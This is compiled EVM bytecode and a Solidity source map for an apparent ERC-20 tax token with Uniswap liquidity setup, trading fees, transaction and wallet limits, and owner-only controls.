65b5060015b92915050565b5f6103a36009600a61178d565b6103b190633b9aca0061179b565b905090565b5f6103c2848484610a94565b610413843361040e8560405180606001604052806028815260200161192f602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cb4565b610970565b5060019392505050565b5f546001600160a01b0316331461044f5760405162461bcd60e51b8152600401610446906117b2565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104c05760405162461bcd60e51b8152600401610446906117b2565b6104cc6009600a61178d565b6104da90633b9aca0061179b565b600f556104e96009600a61178d565b6104f790633b9aca0061179b565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105316009600a61178d565b61053f90633b9aca0061179b565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461057b5760405162461bcd60e51b8152600401610446906117b2565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105c49030906105b66009600a61178d565b61040e90633b9aca0061179b565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610614573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063891906117e7565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610697573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106bb91906117e7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610705573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072991906117e7565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f61038c338484610a94565b5f546001600160a01b031633146107805760405162461bcd60e51b8152600401610446906117b2565b601454600160a01b900460ff16156107da5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610446565b6013546001600160a01b031663f305d719473061080b816001600160a01b03165f9081526001602052604090205490565b5f8061081e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610884573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a99190611802565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108fe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610922919061182d565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109655760405162461bcd60e51b8152600401610446906117b2565b61096e47610cec565b565b6001600160a01b0383166109d25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b038216610a335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610af85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610b5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b5f8111610bbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b601454600160b01b900460ff161580610bdd5750601454600160a81b900460ff165b15610c85576001600160a01b0383165f90815260016020526040902054610c049082610d2b565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c329082610d73565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a879085815260200190565b5f80610c92858585610dd1565b9092509050610cad85858484610ca88883610d2b565b6111d0565b5050505050565b5f8184841115610cd75760405162461bcd60e51b8152600401610446919061157c565b505f610ce3848661184c565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610d27573d5f803e3d5ffd5b5050565b5f610d6c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cb4565b9392505050565b5f80610d7f838561185f565b905083811015610d6c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b5f805f80610de65f546001600160a01b031690565b6001600160a01b0316876001600160a01b031614158015610e1457505f546001600160a01b03878116911614155b1561118c57610e456064610e3f600b54600e5411610e3457600754610e38565b6009545b889061130d565b9061138b565b60065490925060ff1615610f2b576013546001600160a01b03878116911614801590610e7f57506014546001600160a01b03878116911614155b15610f2b57325f908152600560205260409020544311610f195760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610446565b325f9081526005602052604090204390555b6014546001600160a01b038881169116148015610f5657506013546001600160a01b03878116911614155b8015610f7a57506001600160a01b0386165f9081526003602052604090205460ff16155b1561106057600f54851115610fd15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610446565b60105485610ff3886001600160a01b03165f9081526001602052604090205490565b610ffd919061185f565b111561104b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610446565b600e8054905f61105a83611872565b91905055505b6014546001600160a01b03878116911614801561108657506001600160a01b0387163014155b156110b3576110b06064610e3f600c54600e54116110a657600854610e38565b600a54889061130d565b91505b305f90815260016020526040902054601454600160a81b900460ff161580156110e957506014546001600160a01b038881169116145b80156110fe5750601454600160b01b900460ff165b801561110d5750600d54600e54115b801561113157506001600160a01b0388165f9081526003602052604090205460ff16155b801561115557506001600160a01b0387165f9081526003602052604090205460ff16155b1561118a576011548111156111815761118161117c87611177846012546113cc565b6113cc565b6113e0565b61118a47610cec565b505b6001600160a01b0387165f9081526003602052604090205460ff1680156111b257505f85115b156111c15790925090506111c8565b5091508290505b935093915050565b5f821180156111de57505f81115b1561125b57821561125b57305f908152600160205260409020546112029084610d73565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112529087815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461127d9083610d2b565b6001600160a01b038087165f9081526001602052604080822093909355908616815220546112ab9082610d73565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112fe9085815260200190565b60405180910390a35050505050565b5f825f0361131c57505f610390565b5f611327838561179b565b905082611334858361188a565b14610d6c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610446565b5f610d6c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611550565b5f8183116113da5782610d6c565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611426576114266118a9565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114a191906117e7565b816001815181106114b4576114b46118a9565b6001600160a01b0392831660209182029290920101526013546114da9130911684610970565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115129085905f908690309042906004016118bd565b5f604051808303815f87803b158015611529575f80fd5b505af115801561153b573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f81836115705760405162461bcd60e51b8152600401610446919061157c565b505f610ce3848661188a565b5f602080835283518060208501525f5b818110156115a85785810183015185820160400152820161158c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115dc575f80fd5b50565b5f80604083850312156115f0575f80fd5b82356115fb816115c8565b946020939093013593505050565b5f805f6060848603121561161b575f80fd5b8335611626816115c8565b92506020840135611636816115c8565b929592945050506040919091013590565b5f60208284031215611657575f80fd5b8135610d6c816115c8565b5f8060408385031215611673575f80fd5b823561167e816115c8565b9150602083013561168e816115c8565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116e757815f19048211156116cd576116cd611699565b808516156116da57918102915b93841c93908002906116b2565b509250929050565b5f826116fd57506001610390565b8161170957505f610390565b816001811461171f576002811461172957611745565b6001915050610390565b60ff84111561173a5761173a611699565b50506001821b610390565b5060208310610133831016604e8410600b8410161715611768575081810a610390565b61177283836116ad565b805f190482111561178557611785611699565b029392505050565b5f610d6c60ff8416836116ef565b808202811582820484141761039057610390611699565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117f7575f80fd5b8151610d6c816115c8565b5f805f60608486031215611814575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561183d575f80fd5b81518015158114610d6c575f80fd5b8181038181111561039057610390611699565b8082018082111561039057610390611699565b5f6001820161188357611883611699565b5060010190565b5f826118a457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561190d5784516001600160a01b0316835293830193918301916001016118e8565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cc447461ff728cd1fa5fded09705f5e774c52dd3d00edc5ef1636e8201fba15764736f6c63430008160033

3816:9748:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6193:83;;;;;;;;;;-1:-1:-1;6263:5:0;;;;;;;;;;;-1:-1:-1;;;6263:5:0;;;;6193:83;;;;6263:5;6193:83;:::i;:::-;;;;;;;;7076:186;;;;;;;;;;-1:-1:-1;7076:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7076:186:0;1023:187:1;5035:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5035:55:0;1215:177:1;6470:95:0;;;;;;;;;;;;;:::i;7270:446::-;;;;;;;;;;-1:-1:-1;7270:446:0;;;;;:::i;:::-;;:::i;6379:83::-;;;;;;;;;;-1:-1:-1;6379:83:0;;4658:1;2000:36:1;;1988:2;1973:18;6379:83:0;1858:184:1;6573:119:0;;;;;;;;;;-1:-1:-1;6573:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6666:18:0;6639:7;6666:18;;;:9;:18;;;;;;;6573:119;2847:148;;;;;;;;;;;;;:::i;:::-;;12628:201;;;;;;;;;;;;;:::i;4844:56::-;;;;;;;;;;;;;;;;2633:79;;;;;;;;;;-1:-1:-1;2671:7:0;2698:6;2633:79;;-1:-1:-1;;;;;2698:6:0;;;2445:51:1;;2433:2;2418:18;2633:79:0;2299:203:1;4907:58:0;;;;;;;;;;;;;;;;5794:391;;;;;;;;;;;;;:::i;6700:192::-;;;;;;;;;;-1:-1:-1;6700:192:0;;;;;:::i;:::-;;:::i;4972:56::-;;;;;;;;;;;;;;;;4198:40;;;;;;;;;;-1:-1:-1;4198:40:0;;;;;;;;13076:485;;;;;;;;;;;;;:::i;12937:94::-;;;;;;;;;;;;;:::i;6900:168::-;;;;;;;;;;-1:-1:-1;6900:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7033:18:0;;;7006:7;7033:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6900:168;7076:186;7176:4;7193:39;260:10;7216:7;7225:6;7193:8;:39::i;:::-;-1:-1:-1;7250:4:0;7076:186;;;;;:::o;6470:95::-;6523:7;4714:15;4658:1;4714:2;:15;:::i;:::-;4701:28;;:10;:28;:::i;:::-;6543:14;;6470:95;:::o;7270:446::-;7402:4;7419:36;7429:6;7437:9;7448:6;7419:9;:36::i;:::-;7466:220;7489:6;260:10;7537:138;7593:6;7537:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7537:19:0;;;;;;:11;:19;;;;;;;;260:10;7537:33;;;;;;;;;;:37;:138::i;:::-;7466:8;:220::i;:::-;-1:-1:-1;7704:4:0;7270:446;;;;;:::o;2847:148::-;2760:6;;-1:-1:-1;;;;;2760:6:0;260:10;2760:22;2752:67;;;;-1:-1:-1;;;2752:67:0;;;;;;;:::i;:::-;;;;;;;;;2954:1:::1;2938:6:::0;;2917:40:::1;::::0;-1:-1:-1;;;;;2938:6:0;;::::1;::::0;2917:40:::1;::::0;2954:1;;2917:40:::1;2985:1;2968:19:::0;;-1:-1:-1;;;;;;2968:19:0::1;::::0;;2847:148::o;12628:201::-;2760:6;;-1:-1:-1;;;;;2760:6:0;260:10;2760:22;2752:67;;;;-1:-1:-1;;;2752:67:0;;;;;;;:::i;:::-;4714:15:::1;4658:1;4714:2;:15;:::i;:::-;4701:28;::::0;:10:::1;:28;:::i;:::-;12682:12;:22:::0;4714:15:::1;4658:1;4714:2;:15;:::i;:::-;4701:28;::::0;:10:::1;:28;:::i;:::-;12715:14;:24:::0;12750:20:::1;:28:::0;;-1:-1:-1;;12750:28:0::1;::::0;;12794:27:::1;4714:15;4658:1;-1:-1:-1::0;4714:15:0::1;:::i;:::-;4701:28;::::0;:10:::1;:28;:::i;:::-;12794:27;::::0;1361:25:1;;;1349:2;1334:18;12794:27:0::1;;;;;;;12628:201::o:0;5794:391::-;2760:6;;-1:-1:-1;;;;;2760:6:0;260:10;2760:22;2752:67;;;;-1:-1:-1;;;2752:67:0;;;;;;;:::i;:::-;5846:15:::1;:104:::0;;-1:-1:-1;;;;;;5846:104:0::1;5897:42;5846:104:::0;;::::1;::::0;;;5961:58:::1;::::0;5978:4:::1;::::0;4714:15:::1;4658:1;4714:2;:15;:::i;:::-;4701:28;::::0;:10:::1;:28;:::i;5961:58::-;6064:15;;;;;;;;;-1:-1:-1::0;;;;;6064:15:0::1;-1:-1:-1::0;;;;;6064:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6046:55:0::1;;6124:4;6144:15;;;;;;;;;-1:-1:-1::0;;;;;6144:15:0::1;-1:-1:-1::0;;;;;6144:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6046:131;::::0;-1:-1:-1;;;;;;6046:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5429:15:1;;;6046:131:0::1;::::0;::::1;5411:34:1::0;5481:15;;5461:18;;;5454:43;5346:18;;6046:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6030:13;:147:::0;;-1:-1:-1;;;;;;6030:147:0::1;-1:-1:-1::0;;;;;6030:147:0;;;::::1;::::0;;;::::1;::::0;;5794:391::o;6700:192::-;6803:4;6820:42;260:10;6844:9;6855:6;6820:9;:42::i;13076:485::-;2760:6;;-1:-1:-1;;;;;2760:6:0;260:10;2760:22;2752:67;;;;-1:-1:-1;;;2752:67:0;;;;;;;:::i;:::-;13138:11:::1;::::0;-1:-1:-1;;;13138:11:0;::::1;;;13137:12;13129:48;;;::::0;-1:-1:-1;;;13129:48:0;;5710:2:1;13129:48:0::1;::::0;::::1;5692:21:1::0;5749:2;5729:18;;;5722:30;5788:25;5768:18;;;5761:53;5831:18;;13129:48:0::1;5508:347:1::0;13129:48:0::1;13190:15;::::0;-1:-1:-1;;;;;13190:15:0::1;:31;13229:21;13274:4;13294:24;13274:4:::0;-1:-1:-1;;;;;6666:18:0;6639:7;6666:18;;;:9;:18;;;;;;;6573:119;13294:24:::1;13333:1;13349::::0;13365:7:::1;2671::::0;2698:6;-1:-1:-1;;;;;2698:6:0;;2633:79;13365:7:::1;13190:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13190:223:0;;;-1:-1:-1;;;;;6219:15:1;;;13190:223:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;13387:15:0::1;6433:19:1::0;;;6426:35;6135:19;;13190:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13431:13:0::1;::::0;13462:15:::1;::::0;13424:71:::1;::::0;-1:-1:-1;;;13424:71:0;;-1:-1:-1;;;;;13462:15:0;;::::1;13424:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;13431:13:0;::::1;::::0;-1:-1:-1;13424:29:0::1;::::0;6930:18:1;;13424:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13506:11:0::1;:18:::0;;-1:-1:-1;;;;13535:18:0;-1:-1:-1;;;13535:18:0;;;13076:485::o;12937:94::-;2760:6;;-1:-1:-1;;;;;2760:6:0;260:10;2760:22;2752:67;;;;-1:-1:-1;;;2752:67:0;;;;;;;:::i;:::-;12988:35:::1;13001:21;12988:12;:35::i;:::-;12937:94::o:0;7724:335::-;-1:-1:-1;;;;;7817:19:0;;7809:68;;;;-1:-1:-1;;;7809:68:0;;7546:2:1;7809:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;7809:68:0;7344:400:1;7809:68:0;-1:-1:-1;;;;;7896:21:0;;7888:68;;;;-1:-1:-1;;;7888:68:0;;7951:2:1;7888:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;7888:68:0;7749:398:1;7888:68:0;-1:-1:-1;;;;;7967:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8019:32;;1361:25:1;;;8019:32:0;;1334:18:1;8019:32:0;;;;;;;;7724:335;;;:::o;10626:715::-;-1:-1:-1;;;;;10714:18:0;;10706:68;;;;-1:-1:-1;;;10706:68:0;;8354:2:1;10706:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;10706:68:0;8152:401:1;10706:68:0;-1:-1:-1;;;;;10793:16:0;;10785:64;;;;-1:-1:-1;;;10785:64:0;;8760:2:1;10785:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;10785:64:0;8558:399:1;10785:64:0;10877:1;10868:6;:10;10860:64;;;;-1:-1:-1;;;10860:64:0;;9164:2:1;10860:64:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;10860:64:0;8962:405:1;10860:64:0;10940:11;;-1:-1:-1;;;10940:11:0;;;;10939:12;;:22;;-1:-1:-1;10955:6:0;;-1:-1:-1;;;10955:6:0;;;;10939:22;10935:223;;;-1:-1:-1;;;;;10996:15:0;;;;;;:9;:15;;;;;;:27;;11016:6;10996:19;:27::i;:::-;-1:-1:-1;;;;;10978:15:0;;;;;;;:9;:15;;;;;;:45;;;;11054:13;;;;;;;:25;;11072:6;11054:17;:25::i;:::-;-1:-1:-1;;;;;11038:13:0;;;;;;;:9;:13;;;;;;;:41;;;;11099:26;;;;;;;;;;11118:6;1361:25:1;;1349:2;1334:18;;1215:177;10935:223:0;11179:17;11198:19;11221:30;11234:4;11240:2;11244:6;11221:12;:30::i;:::-;11178:73;;-1:-1:-1;11178:73:0;-1:-1:-1;11262:71:0;11277:4;11283:2;11178:73;;11311:21;:6;11178:73;11311:10;:21::i;:::-;11262:14;:71::i;:::-;10695:646;;10626:715;;;:::o;1435:224::-;1555:7;1591:12;1583:6;;;;1575:29;;;;-1:-1:-1;;;1575:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1615:9:0;1627:5;1631:1;1627;:5;:::i;:::-;1615:17;1435:224;-1:-1:-1;;;;;1435:224:0:o;12837:92::-;12894:10;;:27;;:10;;;;-1:-1:-1;;;;;12894:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12837:92;:::o;1291:136::-;1349:7;1376:43;1380:1;1383;1376:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1369:50;1291:136;-1:-1:-1;;;1291:136:0:o;1104:179::-;1162:7;;1194:5;1198:1;1194;:5;:::i;:::-;1182:17;;1223:1;1218;:6;;1210:46;;;;-1:-1:-1;;;1210:46:0;;9837:2:1;1210:46:0;;;9819:21:1;9876:2;9856:18;;;9849:30;9915:29;9895:18;;;9888:57;9962:18;;1210:46:0;9635:351:1;8067:2551:0;8147:7;8156;8177:17;8200:19;8246:7;2671;2698:6;-1:-1:-1;;;;;2698:6:0;;2633:79;8246:7;-1:-1:-1;;;;;8238:15:0;:4;-1:-1:-1;;;;;8238:15:0;;;:32;;;;-1:-1:-1;2671:7:0;2698:6;-1:-1:-1;;;;;8257:13:0;;;2698:6;;8257:13;;8238:32;8234:2265;;;8299:208;8503:3;8299:181;8363:15;;8351:9;;:27;8350:111;;8447:14;;8350:111;;;8407:12;;8350:111;8299:6;;:28;:181::i;:::-;:203;;:208::i;:::-;8528:20;;8287:220;;-1:-1:-1;8528:20:0;;8524:522;;;8609:15;;-1:-1:-1;;;;;8595:30:0;;;8609:15;;8595:30;;;;:83;;-1:-1:-1;8664:13:0;;-1:-1:-1;;;;;8650:28:0;;;8664:13;;8650:28;;8595:83;8569:462;;;8784:9;8755:39;;;;:28;:39;;;;;;8797:12;-1:-1:-1;8721:213:0;;;;-1:-1:-1;;;8721:213:0;;10193:2:1;8721:213:0;;;10175:21:1;10232:2;10212:18;;;10205:30;10271:34;10251:18;;;10244:62;10342:34;10322:18;;;10315:62;-1:-1:-1;;;10393:19:1;;;10386:40;10443:19;;8721:213:0;9991:477:1;8721:213:0;8986:9;8957:39;;;;:28;:39;;;;;8999:12;8957:54;;8569:462;9092:13;;-1:-1:-1;;;;;9084:21:0;;;9092:13;;9084:21;:72;;;;-1:-1:-1;9140:15:0;;-1:-1:-1;;;;;9126:30:0;;;9140:15;;9126:30;;9084:72;:116;;;;-1:-1:-1;;;;;;9178:22:0;;;;;;:18;:22;;;;;;;;9177:23;9084:116;9062:438;;;9253:12;;9243:6;:22;;9235:60;;;;-1:-1:-1;;;9235:60:0;;10675:2:1;9235:60:0;;;10657:21:1;10714:2;10694:18;;;10687:30;10753:27;10733:18;;;10726:55;10798:18;;9235:60:0;10473:349:1;9235:60:0;9370:14;;9360:6;9344:13;9354:2;-1:-1:-1;;;;;6666:18:0;6639:7;6666:18;;;:9;:18;;;;;;;6573:119;9344:13;:22;;;;:::i;:::-;:40;;9314:140;;;;-1:-1:-1;;;9314:140:0;;11029:2:1;9314:140:0;;;11011:21:1;11068:2;11048:18;;;11041:30;11107:28;11087:18;;;11080:56;11153:18;;9314:140:0;10827:350:1;9314:140:0;9473:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9062:438;9526:13;;-1:-1:-1;;;;;9520:19:0;;;9526:13;;9520:19;:44;;;;-1:-1:-1;;;;;;9543:21:0;;9559:4;9543:21;;9520:44;9516:332;;;9597:235;9828:3;9597:204;9669:16;;9657:9;;:28;9656:122;;9763:15;;9656:122;;;9718:13;;9597:6;;:32;:204::i;:235::-;9585:247;;9516:332;9913:4;9864:28;6666:18;;;:9;:18;;;;;;9957:6;;-1:-1:-1;;;9957:6:0;;;;9956:7;:47;;;;-1:-1:-1;9990:13:0;;-1:-1:-1;;;;;9984:19:0;;;9990:13;;9984:19;9956:47;:79;;;;-1:-1:-1;10024:11:0;;-1:-1:-1;;;10024:11:0;;;;9956:79;:130;;;;;10068:18;;10056:9;;:30;9956:130;:176;;;;-1:-1:-1;;;;;;10108:24:0;;;;;;:18;:24;;;;;;;;10107:25;9956:176;:220;;;;-1:-1:-1;;;;;;10154:22:0;;;;;;:18;:22;;;;;;;;10153:23;9956:220;9934:553;;;10237:17;;10214:20;:40;10211:205;;;10279:117;10322:51;10326:6;10334:38;10338:20;10360:11;;10334:3;:38::i;:::-;10322:3;:51::i;:::-;10279:16;:117::i;:::-;10436:35;10449:21;10436:12;:35::i;:::-;8272:2227;8234:2265;-1:-1:-1;;;;;10503:24:0;;;;;;:18;:24;;;;;;;;:38;;;;;10540:1;10531:6;:10;10503:38;10500:73;;;10550:9;;-1:-1:-1;10561:11:0;-1:-1:-1;10543:30:0;;10500:73;-1:-1:-1;10592:9:0;-1:-1:-1;10603:6:0;;-1:-1:-1;8067:2551:0;;;;;;;:::o;11349:665::-;11553:1;11538:12;:16;:37;;;;;11574:1;11558:13;:17;11538:37;11535:296;;;11596:13;;11592:224;;11675:4;11657:24;;;;:9;:24;;;;;;:79;;11708:9;11657:28;:79::i;:::-;11648:4;11630:24;;;;:9;:24;;;;;;;:106;;;;11760:40;;-1:-1:-1;;;;;11760:40:0;;;;;;;11790:9;1361:25:1;;1349:2;1334:18;;1215:177;11760:40:0;;;;;;;;11592:224;-1:-1:-1;;;;;11865:15:0;;;;;;:9;:15;;;;;;:33;;11885:12;11865:19;:33::i;:::-;-1:-1:-1;;;;;11847:15:0;;;;;;;:9;:15;;;;;;:51;;;;11925:13;;;;;;;:32;;11943:13;11925:17;:32::i;:::-;-1:-1:-1;;;;;11909:13:0;;;;;;;:9;:13;;;;;;;:48;;;;11973:33;;;;;;;;;;11992:13;1361:25:1;;1349:2;1334:18;;1215:177;11973:33:0;;;;;;;;11349:665;;;;;:::o;1667:246::-;1725:7;1749:1;1754;1749:6;1745:47;;-1:-1:-1;1779:1:0;1772:8;;1745:47;1802:9;1814:5;1818:1;1814;:5;:::i;:::-;1802:17;-1:-1:-1;1847:1:0;1838:5;1842:1;1802:17;1838:5;:::i;:::-;:10;1830:56;;;;-1:-1:-1;;;1830:56:0;;11746:2:1;1830:56:0;;;11728:21:1;11785:2;11765:18;;;11758:30;11824:34;11804:18;;;11797:62;-1:-1:-1;;;11875:18:1;;;11868:31;11916:19;;1830:56:0;11544:397:1;1921:132:0;1979:7;2006:39;2010:1;2013;2006:39;;;;;;;;;;;;;;;;;:3;:39::i;12022:107::-;12079:7;12111:1;12107;:5;12106:15;;12120:1;12106:15;;;-1:-1:-1;12116:1:0;12022:107;-1:-1:-1;12022:107:0:o;12137:483::-;5374:6;:13;;-1:-1:-1;;;;5374:13:0;-1:-1:-1;;;5374:13:0;;;12239:16:::1;::::0;;12253:1:::1;12239:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12239:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12239:16:0::1;12215:40;;12284:4;12266;12271:1;12266:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12266:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12310:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12310:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12266:7;;12310:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12300:4;12305:1;12300:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12300:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12375:15:::1;::::0;12343:62:::1;::::0;12360:4:::1;::::0;12375:15:::1;12393:11:::0;12343:8:::1;:62::i;:::-;12416:15;::::0;:196:::1;::::0;-1:-1:-1;;;12416:196:0;;-1:-1:-1;;;;;12416:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12497:11;;12416:15:::1;::::0;12539:4;;12566::::1;::::0;12586:15:::1;::::0;12416:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5410:6:0;:14;;-1:-1:-1;;;;5410:14:0;;;-1:-1:-1;;;;12137:483:0:o;2061:223::-;2181:7;2216:12;2209:5;2201:28;;;;-1:-1:-1;;;2201:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2240:9:0;2252:5;2256:1;2252;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:1